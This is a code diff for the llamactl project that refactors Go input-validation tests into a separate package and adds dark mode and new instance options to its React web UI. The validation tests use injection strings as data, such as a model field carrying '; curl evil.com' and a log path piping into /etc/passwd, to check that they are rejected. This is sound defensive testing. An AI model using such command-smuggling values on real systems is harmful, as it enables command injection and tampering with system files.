-		return ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)"))
+		return "", ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)"))
 	}
 	if len(name) > 50 {
-		return ValidationError(fmt.Errorf("name too long (max 50 characters)"))
+		return "", ValidationError(fmt.Errorf("name too long (max 50 characters)"))
 	}
-	return nil
+	return name, nil
 }

pkg/validation/validation_test.go

@@ -1,10 +1,12 @@
-package llamactl_test
+package validation_test
 
 import (
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/testutil"
+	"llamactl/pkg/validation"
 	"strings"
 	"testing"
-
-	llamactl "llamactl/pkg"
 )
 
 func TestValidateInstanceName(t *testing.T) {
@@ -39,16 +41,23 @@ func TestValidateInstanceName(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			err := llamactl.ValidateInstanceName(tt.input)
+			name, err := validation.ValidateInstanceName(tt.input)
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
 			}
+			if tt.wantErr {
+				return // Skip further checks if we expect an error
+			}
+			// If no error, check that the name is returned as expected
+			if name != tt.input {
+				t.Errorf("ValidateInstanceName(%q) = %q, want %q", tt.input, name, tt.input)
+			}
 		})
 	}
 }
 
 func TestValidateInstanceOptions_NilOptions(t *testing.T) {
-	err := llamactl.ValidateInstanceOptions(nil)
+	err := validation.ValidateInstanceOptions(nil)
 	if err == nil {
 		t.Error("Expected error for nil options")
 	}
@@ -73,13 +82,13 @@ func TestValidateInstanceOptions_PortValidation(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			options := &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options := &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Port: tt.port,
 				},
 			}
 
-			err := llamactl.ValidateInstanceOptions(options)
+			err := validation.ValidateInstanceOptions(options)
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr)
 			}
@@ -126,13 +135,13 @@ func TestValidateInstanceOptions_StringInjection(t *testing.T) {
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Model field (string field)
-			options := &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options := &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Model: tt.value,
 				},
 			}
 
-			err := llamactl.ValidateInstanceOptions(options)
+			err := validation.ValidateInstanceOptions(options)
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr)
 			}
@@ -163,13 +172,13 @@ func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test with Lora field (array field)
-			options := &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options := &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Lora: tt.array,
 				},
 			}
 
-			err := llamactl.ValidateInstanceOptions(options)
+			err := validation.ValidateInstanceOptions(options)
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr)
 			}
@@ -181,13 +190,13 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 	// Test that injection in any field is caught
 	tests := []struct {
 		name    string
-		options *llamactl.CreateInstanceOptions
+		options *instance.CreateInstanceOptions
 		wantErr bool
 	}{
 		{
 			name: "injection in model field",
-			options: &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options: &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Model:  "safe.gguf",
 					HFRepo: "microsoft/model; curl evil.com",
 				},
@@ -196,8 +205,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		},
 		{
 			name: "injection in log file",
-			options: &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options: &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Model:   "safe.gguf",
 					LogFile: "/tmp/log.txt | tee /etc/passwd",
 				},
@@ -206,8 +215,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 		},
 		{
 			name: "all safe fields",
-			options: &llamactl.CreateInstanceOptions{
-				LlamaServerOptions: llamactl.LlamaServerOptions{
+			options: &instance.CreateInstanceOptions{
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
 					Model:   "/path/to/model.gguf",
 					HFRepo:  "microsoft/DialoGPT-medium",
 					LogFile: "/tmp/llama.log",
@@ -221,7 +230,7 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			err := llamactl.ValidateInstanceOptions(tt.options)
+			err := validation.ValidateInstanceOptions(tt.options)
 			if (err != nil) != tt.wantErr {
 				t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr)
 			}
@@ -231,11 +240,11 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
 
 func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 	// Test that non-string fields don't interfere with validation
-	options := &llamactl.CreateInstanceOptions{
-		AutoRestart:  boolPtr(true),
-		MaxRestarts:  intPtr(5),
-		RestartDelay: intPtr(10),
-		LlamaServerOptions: llamactl.LlamaServerOptions{
+	options := &instance.CreateInstanceOptions{
+		AutoRestart:  testutil.BoolPtr(true),
+		MaxRestarts:  testutil.IntPtr(5),
+		RestartDelay: testutil.IntPtr(10),
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
 			Port:        8080,
 			GPULayers:   32,
 			CtxSize:     4096,
@@ -247,17 +256,8 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
 		},
 	}
 
-	err := llamactl.ValidateInstanceOptions(options)
+	err := validation.ValidateInstanceOptions(options)
 	if err != nil {
 		t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err)
 	}
 }
-
-// Helper functions for pointer fields
-func boolPtr(b bool) *bool {
-	return &b
-}
-
-func intPtr(i int) *int {
-	return &i
-}

webui/src/App.tsx

@@ -7,6 +7,7 @@ import SystemInfoDialog from "./components/SystemInfoDialog";
 import { type CreateInstanceOptions, type Instance } from "@/types/instance";
 import { useInstances } from "@/contexts/InstancesContext";
 import { useAuth } from "@/contexts/AuthContext";
+import { ThemeProvider } from "@/contexts/ThemeContext";
 
 function App() {
   const { isAuthenticated, isLoading: authLoading } = useAuth();
@@ -42,44 +43,50 @@ function App() {
   // Show loading spinner while checking auth
   if (authLoading) {
     return (
-      <div className="min-h-screen bg-gray-50 flex items-center justify-center">
-        <div className="text-center">
-          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-blue-600 mx-auto mb-4"></div>
-          <p className="text-gray-600">Loading...</p>
+      <ThemeProvider>
+        <div className="min-h-screen bg-background flex items-center justify-center">
+          <div className="text-center">
+            <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4"></div>
+            <p className="text-muted-foreground">Loading...</p>
+          </div>
         </div>
-      </div>
+      </ThemeProvider>
     );
   }
 
   // Show login dialog if not authenticated
   if (!isAuthenticated) {
     return (
-      <div className="min-h-screen bg-gray-50">
-        <LoginDialog open={true} />
-      </div>
+      <ThemeProvider>
+        <div className="min-h-screen bg-background">
+          <LoginDialog open={true} />
+        </div>
+      </ThemeProvider>
     );
   }
 
   // Show main app if authenticated
   return (
-    <div className="min-h-screen bg-gray-50">
-      <Header onCreateInstance={handleCreateInstance} onShowSystemInfo={handleShowSystemInfo} />
-      <main className="container mx-auto max-w-4xl px-4 py-8">
-        <InstanceList editInstance={handleEditInstance} />
-      </main>
+    <ThemeProvider>
+      <div className="min-h-screen bg-background">
+        <Header onCreateInstance={handleCreateInstance} onShowSystemInfo={handleShowSystemInfo} />
+        <main className="container mx-auto max-w-4xl px-4 py-8">
+          <InstanceList editInstance={handleEditInstance} />
+        </main>
 
-      <InstanceDialog
-        open={isInstanceModalOpen}
-        onOpenChange={setIsInstanceModalOpen}
-        onSave={handleSaveInstance}
-        instance={editingInstance}
-      />
+        <InstanceDialog
+          open={isInstanceModalOpen}
+          onOpenChange={setIsInstanceModalOpen}
+          onSave={handleSaveInstance}
+          instance={editingInstance}
+        />
 
-      <SystemInfoDialog
-        open={isSystemInfoModalOpen}
-        onOpenChange={setIsSystemInfoModalOpen}
-      />
-    </div>
+        <SystemInfoDialog
+          open={isSystemInfoModalOpen}
+          onOpenChange={setIsSystemInfoModalOpen}
+        />
+      </div>
+    </ThemeProvider>
   );
 }
 

webui/src/__tests__/App.test.tsx

@@ -55,6 +55,21 @@ describe('App Component - Critical Business Logic Only', () => {
     vi.mocked(instancesApi.list).mockResolvedValue(mockInstances)
     window.sessionStorage.setItem('llamactl_management_key', 'test-api-key-123')
     global.fetch = vi.fn(() => Promise.resolve(new Response(null, { status: 200 })))
+    
+    // Mock window.matchMedia for dark mode functionality
+    Object.defineProperty(window, 'matchMedia', {
+      writable: true,
+      value: vi.fn().mockImplementation((query: string) => ({
+        matches: false,
+        media: query,
+        onchange: null,
+        addListener: vi.fn(),
+        removeListener: vi.fn(),
+        addEventListener: vi.fn(),
+        removeEventListener: vi.fn(),
+        dispatchEvent: vi.fn(),
+      })),
+    })
   })
 
   afterEach(() => {

webui/src/components/Header.tsx

@@ -1,6 +1,7 @@
 import { Button } from "@/components/ui/button";
-import { HelpCircle, LogOut } from "lucide-react";
+import { HelpCircle, LogOut, Moon, Sun } from "lucide-react";
 import { useAuth } from "@/contexts/AuthContext";
+import { useTheme } from "@/contexts/ThemeContext";
 
 interface HeaderProps {
   onCreateInstance: () => void;
@@ -9,6 +10,7 @@ interface HeaderProps {
 
 function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
   const { logout } = useAuth();
+  const { theme, toggleTheme } = useTheme();
 
   const handleLogout = () => {
     if (confirm("Are you sure you want to logout?")) {
@@ -17,10 +19,10 @@ function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
   };
 
   return (
-    <header className="bg-white border-b border-gray-200">
+    <header className="bg-card border-b border-border">
       <div className="container mx-auto max-w-4xl px-4 py-4">
         <div className="flex items-center justify-between">
-          <h1 className="text-2xl font-bold text-gray-900">
+          <h1 className="text-2xl font-bold text-foreground">
             Llamactl Dashboard
           </h1>
 
@@ -29,6 +31,16 @@ function Header({ onCreateInstance, onShowSystemInfo }: HeaderProps) {
               Create Instance
             </Button>
 
+            <Button
+              variant="outline"
+              size="icon"
+              onClick={toggleTheme}
+              data-testid="theme-toggle-button"
+              title={`Switch to ${theme === 'light' ? 'dark' : 'light'} mode`}
+            >
+              {theme === 'light' ? <Moon className="h-4 w-4" /> : <Sun className="h-4 w-4" />}
+            </Button>
+
             <Button
               variant="outline"
               size="icon"

webui/src/components/InstanceList.tsx

@@ -18,8 +18,8 @@ function InstanceList({ editInstance }: InstanceListProps) {
     return (
       <div className="flex items-center justify-center py-12" aria-label="Loading">
         <div className="text-center">
-          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-blue-600 mx-auto mb-4"></div>
-          <p className="text-gray-600">Loading instances...</p>
+          <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4"></div>
+          <p className="text-muted-foreground">Loading instances...</p>
         </div>
       </div>
     )
@@ -28,7 +28,7 @@ function InstanceList({ editInstance }: InstanceListProps) {
   if (error) {
     return (
       <div className="text-center py-12">
-        <div className="text-red-600 mb-4">
+        <div className="text-destructive mb-4">
           <p className="text-lg font-semibold">Error loading instances</p>
           <p className="text-sm">{error}</p>
         </div>
@@ -39,15 +39,15 @@ function InstanceList({ editInstance }: InstanceListProps) {
   if (instances.length === 0) {
     return (
       <div className="text-center py-12">
-        <p className="text-gray-600 text-lg mb-2">No instances found</p>
-        <p className="text-gray-500 text-sm">Create your first instance to get started</p>
+        <p className="text-foreground text-lg mb-2">No instances found</p>
+        <p className="text-muted-foreground text-sm">Create your first instance to get started</p>
       </div>
     )
   }
 
   return (
     <div className="space-y-4">
-      <h2 className="text-xl font-semibold text-gray-900 mb-6">
+      <h2 className="text-xl font-semibold text-foreground mb-6">
         Instances ({instances.length})
       </h2>
       

webui/src/components/LogDialog.tsx

@@ -11,6 +11,7 @@ import {
   DialogTitle,
 } from '@/components/ui/dialog'
 import { Badge } from '@/components/ui/badge'
+import { instancesApi } from '@/lib/api'
 import { 
   RefreshCw, 
   Download, 
@@ -46,48 +47,44 @@ const LogsDialog: React.FC<LogsDialogProps> = ({
   const refreshIntervalRef = useRef<NodeJS.Timeout | null>(null)
 
   // Fetch logs function
-  const fetchLogs = async (lines?: number) => {
-    if (!instanceName) return
+  const fetchLogs = React.useCallback(
+    async (lines?: number) => {
+      if (!instanceName) return
       
-    setLoading(true)
-    setError(null)
+      setLoading(true)
+      setError(null)
       
-    try {
-      const params = lines ? `?lines=${lines}` : ''
-      const response = await fetch(`/api/v1/instances/${instanceName}/logs${params}`)
+      try {
+        const logText = await instancesApi.getLogs(instanceName, lines)
+        setLogs(logText)
         
-      if (!response.ok) {
-        throw new Error(`Failed to fetch logs: ${response.status}`)
+        // Auto-scroll to bottom
+        setTimeout(() => {
+          if (logContainerRef.current) {
+            logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
+          }
+        }, 100)
+      } catch (err) {
+        setError(err instanceof Error ? err.message : 'Failed to fetch logs')
+      } finally {
+        setLoading(false)
       }
-      
-      const logText = await response.text()
-      setLogs(logText)
-      
-      // Auto-scroll to bottom
-      setTimeout(() => {
-        if (logContainerRef.current) {
-          logContainerRef.current.scrollTop = logContainerRef.current.scrollHeight
-        }
-      }, 100)
-    } catch (err) {
-      setError(err instanceof Error ? err.message : 'Failed to fetch logs')
-    } finally {
-      setLoading(false)
-    }
-  }
+    },
+    [instanceName]
+  )
 
   // Initial load when dialog opens
   useEffect(() => {
     if (open && instanceName) {
-      fetchLogs(lineCount)
+      void fetchLogs(lineCount)
     }
-  }, [open, instanceName])
+  }, [open, instanceName, fetchLogs, lineCount])
 
   // Auto-refresh effect
   useEffect(() => {
     if (autoRefresh && isRunning && open) {
       refreshIntervalRef.current = setInterval(() => {
-        fetchLogs(lineCount)
+        void fetchLogs(lineCount)
       }, 2000) // Refresh every 2 seconds
     } else {
       if (refreshIntervalRef.current) {
@@ -101,7 +98,7 @@ const LogsDialog: React.FC<LogsDialogProps> = ({
         clearInterval(refreshIntervalRef.current)
       }
     }
-  }, [autoRefresh, isRunning, open, lineCount])
+  }, [autoRefresh, isRunning, open, lineCount, fetchLogs])
 
   // Copy logs to clipboard
   const copyLogs = async () => {
@@ -135,7 +132,7 @@ const LogsDialog: React.FC<LogsDialogProps> = ({
 
   // Apply new line count
   const applyLineCount = () => {
-    fetchLogs(lineCount)
+    void fetchLogs(lineCount)
     setShowSettings(false)
   }
 
@@ -198,7 +195,7 @@ const LogsDialog: React.FC<LogsDialogProps> = ({
               <Button
                 variant="outline"
                 size="sm"
-                onClick={() => fetchLogs(lineCount)}
+                onClick={() => void fetchLogs(lineCount)}
                 disabled={loading}
               >
                 {loading ? (
@@ -290,7 +287,7 @@ const LogsDialog: React.FC<LogsDialogProps> = ({
           <div className="flex items-center gap-2 w-full">
             <Button
               variant="outline"
-              onClick={copyLogs}
+              onClick={() => void copyLogs()}
               disabled={!logs}
             >
               {copied ? (

webui/src/components/SystemInfoDialog.tsx

@@ -19,6 +19,15 @@ import {
 } from 'lucide-react'
 import { serverApi } from '@/lib/api'
 
+// Helper to get version from environment
+const getAppVersion = (): string => {
+  try {
+    return (import.meta.env as Record<string, string>).VITE_APP_VERSION || 'unknown'
+  } catch {
+    return 'unknown'
+  }
+}
+
 interface SystemInfoModalProps {
   open: boolean
   onOpenChange: (open: boolean) => void
@@ -109,9 +118,20 @@ const SystemInfoDialog: React.FC<SystemInfoModalProps> = ({
             </div>
           ) : systemInfo ? (
             <div className="space-y-6">
-              {/* Version Section */}
+              {/* Llamactl Version Section */}
               <div className="space-y-3">
-                <h3 className="font-semibold">Version</h3>
+                <h3 className="font-semibold">Llamactl Version</h3>
+                
+                <div className="bg-gray-900 rounded-lg p-4">
+                  <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
+                    {getAppVersion()}
+                  </pre>
+                </div>
+              </div>
+
+              {/* Llama Server Version Section */}
+              <div className="space-y-3">
+                <h3 className="font-semibold">Llama Server Version</h3>
                 
                 <div className="bg-gray-900 rounded-lg p-4">
                   <div className="mb-2">

webui/src/components/ZodFormField.tsx

@@ -7,8 +7,8 @@ import { getFieldType, basicFieldsConfig } from '@/lib/zodFormUtils'
 
 interface ZodFormFieldProps {
   fieldKey: keyof CreateInstanceOptions
-  value: any
-  onChange: (key: keyof CreateInstanceOptions, value: any) => void
+  value: string | number | boolean | string[] | undefined
+  onChange: (key: keyof CreateInstanceOptions, value: string | number | boolean | string[] | undefined) => void
 }
 
 const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }) => {
@@ -18,7 +18,7 @@ const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }
   // Get type from Zod schema
   const fieldType = getFieldType(fieldKey)
 
-  const handleChange = (newValue: any) => {
+  const handleChange = (newValue: string | number | boolean | string[] | undefined) => {
     onChange(fieldKey, newValue)
   }
 
@@ -29,7 +29,7 @@ const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }
           <div className="flex items-center space-x-2">
             <Checkbox
               id={fieldKey}
-              checked={value || false}
+              checked={typeof value === 'boolean' ? value : false}
               onCheckedChange={(checked) => handleChange(checked)}
             />
             <Label htmlFor={fieldKey} className="text-sm font-normal">
@@ -51,10 +51,14 @@ const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }
             <Input
               id={fieldKey}
               type="number"
-              value={value || ''}
+              step="any" // This allows decimal numbers
+              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
               onChange={(e) => {
                 const numValue = e.target.value ? parseFloat(e.target.value) : undefined
-                handleChange(numValue)
+                // Only update if the parsed value is valid or the input is empty
+                if (e.target.value === '' || (numValue !== undefined && !isNaN(numValue))) {
+                  handleChange(numValue)
+                }
               }}
               placeholder={config.placeholder}
             />
@@ -101,7 +105,7 @@ const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }
             <Input
               id={fieldKey}
               type="text"
-              value={value || ''}
+              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
               onChange={(e) => handleChange(e.target.value || undefined)}
               placeholder={config.placeholder}
             />

webui/src/contexts/ThemeContext.tsx

@@ -0,0 +1,54 @@
+import { createContext, useContext, useEffect, useState, type ReactNode } from "react";
+
+type Theme = "light" | "dark";
+
+interface ThemeContextType {
+  theme: Theme;
+  toggleTheme: () => void;
+}
+
+const ThemeContext = createContext<ThemeContextType | undefined>(undefined);
+
+interface ThemeProviderProps {
+  children: ReactNode;
+}
+
+export function ThemeProvider({ children }: ThemeProviderProps) {
+  const [theme, setTheme] = useState<Theme>(() => {
+    const stored = localStorage.getItem("theme");
+    if (stored === "light" || stored === "dark") {
+      return stored;
+    }
+    return window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
+  });
+
+  useEffect(() => {
+    const root = document.documentElement;
+    
+    if (theme === "dark") {
+      root.classList.add("dark");
+    } else {
+      root.classList.remove("dark");
+    }
+    
+    localStorage.setItem("theme", theme);
+  }, [theme]);
+
+  const toggleTheme = () => {
+    setTheme(prevTheme => prevTheme === "light" ? "dark" : "light");
+  };
+
+  return (
+    <ThemeContext.Provider value={{ theme, toggleTheme }}>
+      {children}
+    </ThemeContext.Provider>
+  );
+}
+
+export function useTheme() {
+  const context = useContext(ThemeContext);
+  if (context === undefined) {
+    throw new Error("useTheme must be used within a ThemeProvider");
+  }
+  return context;
+}

webui/src/lib/zodFormUtils.ts

@@ -1,5 +1,4 @@
-import type { CreateInstanceOptions} from '@/schemas/instanceOptions';
-import { getAllFieldKeys } from '@/schemas/instanceOptions'
+import { type CreateInstanceOptions, getAllFieldKeys } from '@/schemas/instanceOptions'
 
 // Only define the basic fields we want to show by default
 export const basicFieldsConfig: Record<string, {
@@ -22,6 +21,15 @@ export const basicFieldsConfig: Record<string, {
     placeholder: '5',
     description: 'Delay in seconds before attempting restart'
   },
+  idle_timeout: {
+    label: 'Idle Timeout (minutes)',
+    placeholder: '60',
+    description: 'Time in minutes before instance is considered idle and stopped'
+  },
+  on_demand_start: {
+    label: 'On-Demand Start',
+    description: 'Start instance upon receiving OpenAI-compatible API request'
+  },
   model: {
     label: 'Model Path',
     placeholder: '/path/to/model.gguf',

webui/src/schemas/instanceOptions.ts

@@ -6,6 +6,8 @@ export const CreateInstanceOptionsSchema = z.object({
   auto_restart: z.boolean().optional(),
   max_restarts: z.number().optional(),
   restart_delay: z.number().optional(),
+  idle_timeout: z.number().optional(),
+  on_demand_start: z.boolean().optional(),
 
   // Common params
   verbose_prompt: z.boolean().optional(),
@@ -14,12 +16,12 @@ export const CreateInstanceOptionsSchema = z.object({
   cpu_mask: z.string().optional(),
   cpu_range: z.string().optional(),
   cpu_strict: z.number().optional(),
-  priority: z.number().optional(),
+  prio: z.number().optional(),
   poll: z.number().optional(),
   cpu_mask_batch: z.string().optional(),
   cpu_range_batch: z.string().optional(),
   cpu_strict_batch: z.number().optional(),
-  priority_batch: z.number().optional(),
+  prio_batch: z.number().optional(),
   poll_batch: z.number().optional(),
   ctx_size: z.number().optional(),
   predict: z.number().optional(),
@@ -82,7 +84,7 @@ export const CreateInstanceOptionsSchema = z.object({
   seed: z.number().optional(),
   sampling_seq: z.string().optional(),
   ignore_eos: z.boolean().optional(),
-  temperature: z.number().optional(),
+  temp: z.number().optional(),
   top_k: z.number().optional(),
   top_p: z.number().optional(),
   min_p: z.number().optional(),
@@ -109,7 +111,7 @@ export const CreateInstanceOptionsSchema = z.object({
   json_schema: z.string().optional(),
   json_schema_file: z.string().optional(),
 
-  // Server/Example-specific params
+  // Example-specific params
   no_context_shift: z.boolean().optional(),
   special: z.boolean().optional(),
   no_warmup: z.boolean().optional(),
@@ -149,8 +151,6 @@ export const CreateInstanceOptionsSchema = z.object({
   no_prefill_assistant: z.boolean().optional(),
   slot_prompt_similarity: z.number().optional(),
   lora_init_without_apply: z.boolean().optional(),
-
-  // Speculative decoding params
   draft_max: z.number().optional(),
   draft_min: z.number().optional(),
   draft_p_min: z.number().optional(),

webui/src/vite-env.d.ts

@@ -0,0 +1,13 @@
+/// <reference types="vite/client" />
+
+declare global {
+  interface ImportMetaEnv {
+    readonly VITE_APP_VERSION?: string
+  }
+
+  interface ImportMeta {
+    readonly env: ImportMetaEnv
+  }
+}
+
+export {}

webui/tsconfig.json

@@ -18,8 +18,9 @@
     "baseUrl": ".",
     "paths": {
       "@/*": ["./src/*"]
-    }
+    },
+    "types": ["vite/client"]
   },
-  "include": ["src"],
+  "include": ["src", "src/vite-env.d.ts"],
   "references": [{ "path": "./tsconfig.node.json" }]
 }